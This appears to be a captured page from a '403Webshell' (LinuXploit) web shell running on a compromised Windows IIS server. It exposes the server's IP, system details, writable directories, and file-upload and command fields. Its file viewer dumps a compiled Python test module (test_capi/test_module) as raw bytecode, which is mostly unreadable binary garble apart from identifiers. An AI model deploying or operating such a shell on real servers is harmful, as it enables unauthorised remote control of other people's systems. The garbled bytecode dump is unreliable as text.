403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_capi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_capi/__pycache__/test_module.cpython-315.pyc
R
>lqj�!c��]PHs]PHs]QHGsGsGs\OQ2sQQ2sQs	Qs
QQ\O2sP!)	�)�
import_helper�subTests�requires_gil_enabled�	_testcapic��\sQs]sQsQsP!)�FakeSpec�testmod�)�__name__�
__module__�__qualname__�__firstlineno__�name�__static_attributes__r	��/C:\Python315\\Lib\test\test_capi\test_module.pyrrs���Drrc�X�[OU2[OU21!�N)r�pymodule_get_def�pymodule_get_token)�mods&r�
def_and_tokenrs(���"�"�3�'��$�$�S�)��rc��`�\sQs]snQs\Q2Q2sQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsQsQsQsQs\Q\]1QQ,2Q2sQsUsP!)�TestModFromSlotsAndSpecc��UO[29^tt^2[O[	22PPP2P!)%fhP!9hr)�assertRaises�SystemErrorr�module_from_slots_emptyr��selfs&r�
test_empty�"TestModFromSlotsAndSpec.test_emptys2��
�
�
�{�
+�
+��-�-�h�j�9�,�
+�
+�
+���A�A	�A	zminimal slots re-enable GILc�>�[O[22oUOU[O
2UO
[U2Q2UO
UOQ2[OU2oUO
U]2P!�rr�rr)
r�module_from_slots_minimalr�assertIsInstance�types�
ModuleType�assertEqualrr
�pymodule_get_state_size�rr�sizes&  r�test_minimal�$TestModFromSlotsAndSpec.test_minimal ss���1�1�(�*�=�����c�5�#3�#3�4�����s�+�V�4�������y�1��0�0��5������q�!rc��UO[29^tt^2[O[	22PPP2P!)%fhP!9hr)rrr�module_from_slots_nullrrs&r�test_null_slots�'TestModFromSlotsAndSpec.test_null_slots)s2��
�
�
�{�
+�
+��,�,�X�Z�8�,�
+�
+�
+�r"c�B�UO[29^tt^2[OP2PPP2UO[29^tt^2[O	P2PPP2P!)%fhKM9h)%fhP!9hr)r�AttributeErrorrr�module_from_slots_namers&r�test_none_spec�&TestModFromSlotsAndSpec.test_none_spec-s`��
�
�
�~�
.�
.��-�-�d�3�/�
�
�
�~�
.�
.��,�,�T�2�/�
.�/�
.��
.�
.�
.�s#�A:�B
�:B
	�B
	�
B	�B	c�(�[O[22oUOU[O
2UO
[U2Q2UO
UOQ2UO
UOP2P!r$)
rr6rr'r(r)r*rr
�__doc__�rrs& r�	test_name�!TestModFromSlotsAndSpec.test_name4si���.�.�x�z�:�����c�5�#3�#3�4�����s�+�V�4�������y�1�������d�+rc�(�[O[22oUOU[O
2UO
[U2Q2UO
UOQ2UO
UOQ2P!)rrz
the docstringr%)
r�module_from_slots_docrr'r(r)r*rr
r:r;s& r�test_doc� TestModFromSlotsAndSpec.test_doc>sg���-�-�h�j�9�����c�5�#3�#3�4�����s�+�V�4�������y�1�������o�6rc�v�[O[22oUOU[O
2UO
[U2Q2UO
UOQ2UO
UOP2[OU2oUO
U]{2P!r$)r�module_from_slots_sizerr'r(r)r*rr
r:r+r,s&  r�	test_size�!TestModFromSlotsAndSpec.test_sizeEs����.�.�x�z�:�����c�5�#3�#3�4�����s�+�V�4�������y�1�������d�+��0�0��5������s�#rc�n�[O[22oUOU[O
2UO
[U2Q2UO
UOQ2UO
UOP2UO
UOQ2UQ12P!�rr��r%)r�module_from_slots_methodsrr'r(r)r*rr
r:�a_methodr;s& r�test_methods�$TestModFromSlotsAndSpec.test_methodsNs����1�1�(�*�=�����c�5�#3�#3�4�����s�+�V�4�������y�1�������d�+�������c�*�S�#�J�7rc��[O[22oUOU[O
2UO
[U2Q2UO
UOQ2UO
UOP2[OQ2oUOU2vq4oUO
V1O2UO
VAO2UO
VQO2P!)rr�_testinternalcapir%)r�module_from_slots_gcrr'r(r)r*rr
r:r�
import_module�module_get_gc_hooks�traverse�clear�free)rrrNrRrSrTs&     r�test_gc�TestModFromSlotsAndSpec.test_gcVs����,�,�X�Z�8�����c�5�#3�#3�4�����s�+�V�4�������y�1�������d�+�
*�7�7�8K�L�� 1� E� E�c� J��������<�<�0�����	�	�*�����x�x�(rc�H�[O[22oUOU[O
2UO
[U2][O12UO
UOQ2UO
UOP2P!)rr)r�module_from_slots_tokenrr'r(r)r*r�module_test_tokenr
r:r;s& r�
test_token�"TestModFromSlotsAndSpec.test_tokenfsr���/�/��
�;�����c�5�#3�#3�4�����s�+�a��1L�1L�-M�N�������y�1�������d�+rc�`�[O[22oUOU[O
2UO
[U2Q2UO
UOQ2UO
UOP2UO
UOQ2P!rG)r�module_from_slots_execrr'r(r)r*rr
r:�a_numberr;s& r�	test_exec�!TestModFromSlotsAndSpec.test_execms{���.�.�x�z�:�����c�5�#3�#3�4�����s�+�V�4�������y�1�������d�+�������s�+rc���[2oQUm[OU2oUO	U[
2UO
UQ2UO[29^tt^2[OU21PPP2UO[29^tt^2[OU2PPP2P!)%fhKM9h)%fhP!9h)znot a module object)r�_gimme_thisr�module_from_slots_creater'�strr*r�	TypeErrorrr)r�specrs&  r�test_create�#TestModFromSlotsAndSpec.test_createus����z��0����0�0��6�����c�3�'�����3�4�
�
�
�y�
)�
)��&�&�s�+�,�*�
�
�
�y�
)�
)��(�(��-�*�
)�*�
)��
)�
)�
)�s$�-C	�)C�	C	�C	�C-	�%C-	c��[FD�oUOU29^tt^2[2o[[U2UmUO
[29^tt^2o[OU2PPP2UOU[WO22UOQ[UO22PPP2J�	P!)%fhKh9h)%fhJ�9h)z*Slots cannot contradict PyModuleDef fields�PyModuleDef)�	DEF_SLOTS�subTestr�getattrr�
_test_slot_idrr�module_from_def_slot�assertInrd�	exception�rrrf�cms&   r�
test_def_slot�%TestModFromSlotsAndSpec.test_def_slot�s����I�D����d�#�#��z��%,�Y��%=��"��&�&�{�3�3�r��2�2�4�8�4��
�
�d�C����$5�6��
�
�m�S����->�?�
$�#��4�3��$�#�#�s0�=C+	�"C
�8AC+	�C(�!C(�#C+	�+C<
�4C<
c�F�[2o[OU2P!)z7Slots with same value as PyModuleDef fields are allowed)rr�module_from_def_slot_parrot)rrfs& r�test_def_slot_parrot�,TestModFromSlotsAndSpec.test_def_slot_parrot�s���z���-�-�d�3rc��,[NQMFD�oUOU29^tt^2[2o[[U2UmUO
[29^tt^2o[OU2PPP2UOU[WO22UO[UO2QUQ02PPP2J�	P!)%fhKl9h)%fhJ�9h)z7Slots that replace PyModuleDef fields can't be repeated�Py_mod_execz^module( [_\w]+)? has multiple z( \(\d+\))? slots$)
rkrlrrmrrnrr�module_from_slots_repeat_slotrprdrq�assertRegexrrs&   r�test_repeated_def_slot�.TestModFromSlotsAndSpec.test_repeated_def_slot�s���/�i�/��/�D����d�#�#��z��%,�Y��%=��"��&�&�{�3�3�r��;�;�D�A�4��
�
�d�C����$5�6�� � �����%�6�t�f�<N�O�Q�
$�#�0�4�3��$�#�#�s0�=C3	�&C 
�<AC3	� C0�)C0�+C3	�3D
�<D
c��.[lQjQ.*
FD�oUOU29^tt^2[2o[[U2UmUO
[29^tt^2o[OU2PPP2UOU[WO22UOQ[UO22PPP2J�	P!)%fhKh9h)%fhJ�9h)z3Slots that replace PyModuleDef fields can't be NULLr{�Py_mod_state_size�NULL)rkrlrrmrrnrr�module_from_slots_null_slotrprdrqrrs&   r�test_null_def_slot�*TestModFromSlotsAndSpec.test_null_def_slot�s���/�i�/��/�3F�2G�G�G�D����d�#�#��z��%,�Y��%=��"��&�&�{�3�3�r��9�9�$�?�4��
�
�d�C����$5�6��
�
�f�c�"�,�,�&7�8�
$�#�H�4�3��$�#�#�s0�=C7	�.C$
�AC7	�$C4�-C4�/C7	�7D
�D
c��UO[29^tt^2o[O[	22PPP2P!)%fhP!9h)z'Slots that incompatible ABI is rejected)r�ImportErrorr�module_from_bad_abiinfor)rrss& r�test_bad_abiinfo�(TestModFromSlotsAndSpec.test_bad_abiinfo�s4��
�
�
�{�
+�
+�r��-�-�h�j�9�,�
+�
+�
+�r"c�z�[O[22oUOUOQ2P!)z)Slots that Py_mod_abiinfo can be repeatedr)r�module_from_multiple_abiinforr*r
r;s& r�test_multiple_abiinfo�-TestModFromSlotsAndSpec.test_multiple_abiinfo�s(���4�4�X�Z�@��������y�1rc���[O[22oUO[	UQ22[OU2UO
UOQ2UO
UOQ2[OU2UO
UOQ2UO
UOQ2[U2vq#UO
V#2P!)z?PyModule_Exec runs all exec slots of PyModuleDef-defined moduler^rH�i��)
r�module_from_def_multiple_execr�assertFalse�hasattr�
pymodule_execr*r^�another_numberr�rr�def_ptr�tokens&   r�test_def_multiple_exec�.TestModFromSlotsAndSpec.test_def_multiple_exec�s����5�5�h�j�A�������j�1�2�����$�������s�+�����+�+�S�1�����$�������s�+�����+�+�T�2�&�s�+�������(rc��[O[22o[U2vq#UO	V#2UOU]2P!)z4In PyModuleDef-defined modules, the def is the token)rr�rrr*�
assertGreaterr�s&   r�test_def_token�&TestModFromSlotsAndSpec.test_def_token�s>���5�5�h�j�A��&�s�+�������(����7�A�&rzname, expected_sizec��[OU2o[OU2oUO	VB2P!r)rrPrr+r*)rr�
expected_sizerr-s&&&  r�test_get_state_size�+TestModFromSlotsAndSpec.test_get_state_size�s2���)�)�$�/���0�0��5������-rr	)�_testsinglephase���)�sysr�)r
rrr
r rr.r2r7r<r@rDrKrUrZr_rgrtrxr~r�r�r�r�r�rr�r�__classdictcell__)�
__classdict__s@rrrs�����:��7�8�"�9�"�9�3�,�7�$�8�)� ,�,�	.�	@�4�
Q�	9�:�
2�
)�'��#�	�1�
� ��&��
.��
.rr)�Py_mod_name�
Py_mod_docr��Py_mod_methods�Py_mod_state_traverse�Py_mod_state_clear�Py_mod_state_free�Py_mod_token)
�unittestr(�test.supportrrrrPrrrkr�TestCaserr	rr�<module>r�sO����F�F�
�'�'��4�	���
�	��s.�h�/�/�s.r

Youez - 2016 - github.com/yon3zu
LinuXploit